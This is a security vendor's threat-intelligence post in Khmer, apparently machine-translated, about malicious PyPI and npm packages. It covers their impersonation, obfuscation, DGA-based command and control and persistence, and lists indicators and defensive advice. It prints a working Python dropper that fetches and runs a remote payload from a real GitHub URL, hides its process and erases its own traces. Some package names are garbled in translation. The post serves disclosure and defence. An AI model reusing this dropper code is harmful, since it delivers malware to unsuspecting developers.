ថ្មីៗនេះ Xygeni បានសង្កេតឃើញគំរូដ៏គួរឱ្យព្រួយបារម្ភមួយនៅក្នុងទេសភាពនៃការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីនៅឆ្នាំ 2025។ដែលកំពុងលេចចេញជារូបរាងនៅទូទាំងកម្មវិធីគ្រប់គ្រងកញ្ចប់ដ៏ពេញនិយមពីរ៖ ភីភីអាយ។ និង ម៉ោងងងក្នុងនាមជាផ្នែកមួយនៃកិច្ចខិតខំប្រឹងប្រែងស៊ើបការណ៍សម្ងាត់គំរាមកំហែងរបស់យើងការព្រមានជាមុនអំពីមេរោគ Xygeni (MEW) ឧបករណ៍នេះបានកំណត់អត្តសញ្ញាណឧទាហរណ៍ខុសគ្នា ប៉ុន្តែស្រដៀងគ្នាខាងវិធីសាស្ត្រនៃកញ្ចប់ព្យាបាទដែលបានផ្ទុកឡើងទៅក្នុងបញ្ជីឈ្មោះផ្សេងទៀតពីមុន។ ករណីនេះបង្ហាញពីរបៀបដែលតួអង្គគំរាមកំហែងកំពុងវិវត្ត និងប្រើប្រាស់បច្ចេកទេសវាយប្រហារឡើងវិញនៅទូទាំងប្រព័ន្ធអេកូឡូស៊ី ជាពិសេសតាមរយៈ កញ្ចប់ Python ព្យាបាទ និង កញ្ចប់ npm ព្យាបាទដែលបង្កើនហានិភ័យនៃកញ្ចប់ព្យាបាទដែលជ្រៀតចូលទៅក្នុងខ្សែសង្វាក់ផ្គត់ផ្គង់ប្រភពបើកចំហ។
MEW របស់ Xygeni៖ ការរកឃើញភាពស្រដៀងគ្នា
ឧបករណ៍ MEW របស់ Xygeni ត្រូវបានបង្កើតឡើងដើម្បីរកឃើញ និងដាក់ទង់សញ្ញាកញ្ចប់ព្យាបាទ ជាពិសេសកញ្ចប់ដែលភ្ជាប់ទៅនឹងការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីនៅឆ្នាំ 2025 ភ្លាមៗនៅពេលដែលពួកវាត្រូវបានបោះពុម្ពផ្សាយទៅកាន់បញ្ជីឈ្មោះប្រភពបើកចំហ។ វាដំណើរការដោយវិភាគកញ្ចប់ថ្មីសម្រាប់ឥរិយាបថគួរឱ្យសង្ស័យ។
ក្នុងករណីនេះ វាបានកំណត់អត្តសញ្ញាណមនុស្សពីរនាក់ កញ្ចប់ Python ព្យាបាទ (graphalgo នៅលើ PyPI) និង កញ្ចប់ npm ព្យាបាទ (express-cookie-parser នៅលើ npm)។
កញ្ចប់ Python និង npm ព្យាបាទនៅក្នុងការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធី (២០២៥)
ចូរយើងស្វែងយល់ពីលក្ខណៈរួមដែលបានបង្កឱ្យមានការជូនដំណឹងរបស់យើង៖
បន្លំ
ពួកគេទាំងពីរបានព្យាយាមធ្វើត្រាប់តាមកញ្ចប់ពេញនិយមដែលមានស្រាប់។
- ក្រាហ្វអាល់ហ្គោ (PyPI): "កញ្ចប់ Python សម្រាប់បង្កើត និងរៀបចំក្រាហ្វ និងបណ្តាញ។បានផ្ទុកឡើងដោយអ្នកប្រើប្រាស់ដែលមានឈ្មោះថា «ឡារីតិច» នៅថ្ងៃទី 13 ខែមិថុនា ឆ្នាំ 2025 កញ្ចប់នេះបានបង្ហាញខ្លួនជាជម្រើស PyPi ជំនួសគម្រោង graphalgo ដែលមិនមានមេរោគដើម ដែលក្រោយមកត្រូវបានប្តូរឈ្មោះទៅជា graphdict។
- កម្មវិធីវិភាគខូគីរហ័ស (npm)កញ្ចប់នេះបានធ្វើត្រាប់តាមកញ្ចប់ខូគី-ញែកដ៏ល្បី ថែមទាំងធ្វើត្រាប់តាមវាទៀតផង។ README.md. ការក្លែងបន្លំបែបនេះគឺជាយុទ្ធសាស្ត្របុរាណមួយដើម្បីទាញយកផលប្រយោជន៍ពីការជឿទុកចិត្តដែលមានស្រាប់។
ការបិទបាំងជាខ្សែការពារទីមួយ
កញ្ចប់ទាំងពីរបានបិទបាំងកូដព្យាបាទរបស់ពួកគេនៅក្នុងឯកសារដើម។ សម្រាប់ ក្រាហ្វអាល់ហ្គោលេខកូដដែលលាក់បាំងត្រូវបានរកឃើញនៅក្នុង /utils/load_libraries.py. ក្នុងករណី កម្មវិធីវិភាគខូគីរហ័ស, cookie-loader.min.js មានផ្ទុកនូវបន្ទុកដែលមិនច្បាស់លាស់។
ស្រទាប់ដំបូងនៃការបិទបាំងនេះជាធម្មតាត្រូវបានប្រើដើម្បីរារាំងការត្រួតពិនិត្យដោយចៃដន្យ និងការវិភាគឋិតិវន្ត។ ការបិទបាំងគឺសាមញ្ញណាស់៖ ការបង្ហាប់ ZLib ម្តងហើយម្តងទៀត បូករួមទាំងការអ៊ិនកូដ Base64។ ប្រភេទនៃការបិទបាំងនេះបង្ហាញយ៉ាងច្បាស់ថា កម្មវិធីកំពុងព្យាយាមលាក់បាំងឥរិយាបថរបស់វា។ រួមជាមួយនឹងភស្តុតាងផ្សេងទៀត នេះអនុញ្ញាតឱ្យ Xygeni MEW ចាត់ថ្នាក់កញ្ចប់ទាំងនោះជាមេរោគដែលអាចកើតមាន។ ក្នុងអំឡុងពេលដំណាក់កាលបញ្ជាក់ អ្នកពិនិត្យរបស់យើងបានរៀបចំស្គ្រីបបំបាត់ការបិទបាំងភ្លាមៗ ដែលបង្ហាញពីដំណាក់កាលទម្លាក់មេរោគដ៏គ្រោះថ្នាក់។
ការដឹកជញ្ជូនបន្ទុកច្រើនដំណាក់កាល និងចំណុចដើមដែលបានចែករំលែក
កញ្ចប់ទាំងពីរដំណើរការជា "ដំបូង"ដំណក់ទឹក"កំណត់ដំណាក់កាលសម្រាប់បន្ទុកពិតប្រាកដ។ ពួកគេបានចែករំលែកខាងក្រៅរួមមួយ"ពូជ"អាសយដ្ឋានឯកសារ៖https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
ឯកសារគ្រាប់ពូជខាងក្រៅដូចគ្នាបេះបិទនេះគឺជាសូចនាករដ៏រឹងមាំមួយនៃអ្នកគំរាមកំហែងរួម។ គួរឱ្យចាប់អារម្មណ៍ ខ្លឹមសារនៃឯកសារគ្រាប់ពូជនេះហាក់ដូចជាអថេរបរិស្ថានសាមញ្ញ (ឧទាហរណ៍ JWT_SECRET, PORT) ដែលអាចធ្វើឱ្យការត្រួតពិនិត្យយល់ច្រឡំចំពោះមុខងារជាក់ស្តែងរបស់វា។
គុណភាពបង្ហាញ C2 ថាមវន្តជាមួយ DGA
យុទ្ធសាស្ត្រដ៏ស្មុគស្មាញមួយដែលត្រូវបានគេសង្កេតឃើញនៅក្នុងកញ្ចប់ព្យាបាទទាំងនេះគឺការប្រើប្រាស់ Domain Generation Algorithm (DGA) ដើម្បីដោះស្រាយម៉ាស៊ីនមេ Command and Control (C2) ដោយថាមវន្ត។ បច្ចេកទេសនេះ ដែលត្រូវបានគេមើលឃើញជាញឹកញាប់នៅក្នុងការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីកម្រិតខ្ពស់ក្នុងឆ្នាំ 2025 ពឹងផ្អែកលើហាស SHA256 ដែលទទួលបានពីខ្លឹមសារនៃឯកសារគ្រាប់ពូជ រួមផ្សំជាមួយតម្លៃដែលបានអ៊ិនកូដផ្សេងទៀត។ ដោយធ្វើដូច្នេះ ហេដ្ឋារចនាសម្ព័ន្ធ C2 ផ្លាស់ប្តូរជាញឹកញាប់ ដែលធ្វើឱ្យការដាក់ក្នុងបញ្ជីខ្មៅបែបប្រពៃណីមានប្រសិទ្ធភាពតិចជាង។ ក្នុងករណីនេះ វ៉ារ្យ៉ង់ npm បានប្រើតម្លៃថេរនៃ 496AAC7E ជាផ្នែកមួយនៃតក្កវិជ្ជា DGA របស់វា។
ការបង្កើតភាពអត់ធ្មត់
អ្នកវាយប្រហារទាំងពីរបានព្យាយាមបង្កើតវត្តមានយូរអង្វែងនៅលើប្រព័ន្ធដែលរងផលប៉ះពាល់។ យុទ្ធសាស្ត្ររបស់ពួកគេពាក់ព័ន្ធនឹងការទម្លាក់ឯកសារមួយ startup.py (សម្រាប់ PyPi) ឬ startup.js (សម្រាប់ npm) ទៅក្នុងថតទិន្នន័យអ្នកប្រើប្រាស់ Google Chrome ទូទៅនៅទូទាំងប្រព័ន្ធប្រតិបត្តិការផ្សេងៗ (Windows, Linux, macOS)។
ការសម្អាតក្រោយប្រតិបត្តិការ
ដើម្បីកាត់បន្ថយដាន ស្គ្រីបព្យាបាទទាំងពីរបានអនុវត្តប្រតិបត្តិការសម្អាត។ នេះរួមបញ្ចូលទាំងការលុបឯកសារ dropper ដំបូងរបស់ពួកគេ (load_libraries.py, cookie-loader.min.js) និងការកែប្រែឯកសារកញ្ចប់ស្របច្បាប់ (__init__.py, index.js) ដើម្បីលុបឯកសារយោងទៅកាន់សមាសធាតុដែលបានលុបឥឡូវនេះ។
សូចនាករនៃការសម្របសម្រួលនៅក្នុងកញ្ចប់ Python និង npm ព្យាបាទ
- កញ្ចប់ PyPI: graphalgo (បោះពុម្ពផ្សាយដោយ larrytech, ថ្ងៃទី 13 ខែមិថុនា ឆ្នាំ 2025)
- កញ្ចប់ npm: express-cookie-parser (ជាពិសេសកំណែ 1.4.12)
- ចូលប្រើប្រាស់ URL គ្រាប់ពូជដែលបានចែករំលែក:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- ឈ្មោះឯកសារអចិន្ត្រៃយ៍:
startup.py(ពស់ថ្លាន់)startup.js(ចាវ៉ាស្គ្រីប) - ផ្លូវអចិន្ត្រៃយ៍ទូទៅ (អាស្រ័យលើប្រព័ន្ធប្រតិបត្តិការ)នៅក្នុងថតទិន្នន័យអ្នកប្រើប្រាស់ Google Chrome (ឧ.
AppData\Local\Google\Chrome\UserData\Scripts\នៅលើវីនដូ,~/.config/google-chrome/Scripts/នៅលើលីនុច ជាដើម)។
របៀបការពារប្រឆាំងនឹងកញ្ចប់ព្យាបាទនៅក្នុងការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីឆ្នាំ ២០២៥
វិធីសាស្រ្តដែលបានណែនាំសម្រាប់អ្នកអភិវឌ្ឍន៍
ឧប្បត្តិហេតុនេះបម្រើជាការសិក្សាករណីដ៏មានតម្លៃមួយនៅក្នុងទេសភាពគំរាមកំហែងដែលកំពុងវិវត្តនៃការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីនៅឆ្នាំ 2025។ វាបង្ហាញពីរបៀបដែលកញ្ចប់ Python ដែលមានគំនិតអាក្រក់ និងកញ្ចប់ npm ដែលមានគំនិតអាក្រក់អាចលួចចូលទៅក្នុងប្រព័ន្ធអេកូឡូស៊ីដែលគួរឱ្យទុកចិត្ត ដែលជារឿយៗគេចវេសពីការរកឃើញរហូតដល់វាយឺតពេល។ នោះហើយជាមូលហេតុដែលការរកឃើញដំបូង ឧបករណ៍ឆ្លាតវៃ និងអនាម័យប្រព័ន្ធប្រកបដោយភាពសកម្មឥឡូវនេះគឺជាផ្នែកសំខាន់ៗនៃលំហូរការងារ DevOps ដែលមានសុវត្ថិភាពណាមួយ។ អ្នកអភិវឌ្ឍន៍ត្រូវបានលើកទឹកចិត្តឱ្យពិចារណាដូចខាងក្រោម៖
ការពិនិត្យឡើងវិញអំពីការពឹងផ្អែក
ប្រសិនបើគម្រោងរបស់អ្នករួមបញ្ចូល ក្រាហ្វអាល់ហ្គោ or កម្មវិធីវិភាគខូគីរហ័សវាជាការប្រសើរក្នុងការបន្តការដកចេញរបស់ពួកគេ។
- សម្រាប់ PyPI៖
pip uninstall graphalgo - សម្រាប់ npm៖
npm uninstall express-cookie-parser
អនាម័យប្រព័ន្ធ
សូមពិចារណាធ្វើការស្កេនប្រព័ន្ធដ៏ទូលំទូលាយ។ វាក៏ត្រូវបានណែនាំផងដែរក្នុងការត្រួតពិនិត្យដោយដៃនូវផ្លូវថតទិន្នន័យអ្នកប្រើប្រាស់ Chrome ទូទៅសម្រាប់អ្វីដែលមិននឹកស្មានដល់។ startup.py or startup.js ឯកសារ។
វិធានការសន្តិសុខសកម្ម
- វាយតម្លៃការពឹងផ្អែកថ្មីបង្កើតទម្លាប់មួយដើម្បីវាយតម្លៃកញ្ចប់ថ្មីៗឲ្យបានហ្មត់ចត់មុនពេលធ្វើសមាហរណកម្ម ដោយផ្តោតលើកញ្ចប់ទាំងនោះពីអ្នកបោះពុម្ពផ្សាយដែលមិនស្គាល់។
- រួមបញ្ចូលឧបករណ៍សុវត្ថិភាពឧបករណ៍ដូចជា MEW របស់ Xygeni រួមជាមួយនឹងការវិភាគសមាសភាពកម្មវិធីផ្សេងទៀត (SCA) ដំណោះស្រាយ អាចផ្តល់នូវស្រទាប់ការពារដ៏សំខាន់មួយ ដោយកំណត់អត្តសញ្ញាណឥរិយាបថ និងភាពងាយរងគ្រោះដែលគួរឱ្យសង្ស័យ។
- ឯកសិទ្ធិតិចបំផុត។៖ ការប្រតិបត្តិការបរិស្ថានអភិវឌ្ឍន៍ជាមួយនឹងគោលការណ៍នៃឯកសិទ្ធិតិចបំផុតអាចជួយកំណត់ផលប៉ះពាល់ដែលអាចកើតមាននៃការសម្របសម្រួល។
- ការយល់ដឹងអំពីបណ្តាញការត្រួតពិនិត្យចរាចរណ៍បណ្តាញចេញសម្រាប់ការតភ្ជាប់មិនធម្មតា ជួនកាលអាចបង្ហាញពីការទំនាក់ទំនង C2 ដែលបង្កើតដោយ DGA។
សមាសធាតុសំខាន់ៗរបស់ load_libraries.py (ពី graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): ដោះស្រាយការទាញយកឯកសារពី URL ដែលបានបញ្ជាក់។run_process()៖ ប្រតិបត្តិស្គ្រីប Python ខាងក្រៅតាមរបៀបដាច់ដោយឡែក ដោយទប់ស្កាត់ទិន្នផលដើម្បីរក្សាការសម្ងាត់។get_output_file_path()៖ កំណត់ទីតាំងប្រព័ន្ធដ៏ល្អសម្រាប់ឯកសារ startup.py ដែលនៅស្ថិតស្ថេរ។remove_self()៖ រៀបចំការសម្អាតឯកសារព្យាបាទដំបូង និងការកែប្រែកញ្ចប់ក្រោយពេលប្រតិបត្តិ។simple_shift_encrypt()/simple_shift_decrypt()មុខងារអ៊ិនគ្រីបផ្ទាល់ខ្លួនសម្រាប់បិទបាំងឆានែលទំនាក់ទំនង ដែលមានសារៈសំខាន់សម្រាប់ការអនុវត្ត DGA។load_libraries()មុខងារកណ្តាលដែលសម្របសម្រួលដំណើរការពហុដំណាក់កាលទាំងមូល ចាប់ពីការទាញយកដំបូងរហូតដល់ការប្រតិបត្តិ payload ចុងក្រោយ និងការសម្អាត។
ផលវិបាក
ដូចគ្នានឹងកញ្ចប់ដែលមានសក្តានុពលព្យាបាទផ្សេងទៀតដែលត្រូវបានរកឃើញដោយ MEW ដែរ ជញ្ជាំងភ្លើងពឹងផ្អែកបានការពារអ្នកប្រើប្រាស់ភ្លាមៗដែលនឹងរួមបញ្ចូលកញ្ចប់ព្យាបាទទាំងនេះនៅក្នុងភាពអាស្រ័យរបស់ពួកគេ។ បន្ទាប់ពីការបញ្ជាក់ យើងបានអនុវត្តតាមនីតិវិធីជូនដំណឹងសម្រាប់បញ្ជីឈ្មោះទាំងពីរ ដែលបន្ទាប់ពីការពិនិត្យឡើងវិញបានលុបកញ្ចប់ទាំងពីរចេញ។







